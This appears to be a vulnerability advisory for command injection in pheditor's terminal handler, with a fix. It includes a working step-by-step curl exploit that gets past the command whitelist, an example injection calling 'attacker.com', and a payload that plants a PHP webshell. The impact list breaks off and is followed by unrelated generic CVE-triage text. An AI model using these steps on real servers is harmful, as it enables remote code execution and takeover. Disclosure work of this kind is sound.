An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.
The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only — $dir is passed to shell_exec() without any sanitization.
Vulnerable code (pheditor.php, line 554–586):
$command = $_POST['command']; // ✓ metacharacters checked
$dir = $_POST['dir']; // ✗ NOT checked — vulnerable
if (strpos($command, '&') !== false ||
strpos($command, ';') !== false ||
strpos($command, '||') !== false) {
die(...); // only guards $command, not $dir
}
$output = shell_exec(
(empty($dir) ? null : 'cd ' . $dir . ' && ')
. $command . ' && echo \ ; pwd' // ← $dir injected here
);
An attacker sends dir=/tmp; curl attacker.com # — the semicolon in $dir is never checked, so the injected command executes freely.
Fix: replace $dir with escapeshellarg($dir) on line 586.
Requirements: valid credentials, terminal permission enabled (default)
Step 1 — Authenticate:
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
-d "pheditor_password=admin" -L > /dev/null
Step 2 — Get CSRF token:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
Step 3 — Confirm curl is blocked via command field:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=curl https://ifconfig.me" \
--data-urlencode "dir=/tmp"
→ {"error":true,"message":"Command not allowed"}
Step 4 — Bypass whitelist via dir injection:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"
→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}
Step 5 — Full RCE via webshell:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"
curl "http://TARGET/shell.php?c=id"
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
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Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
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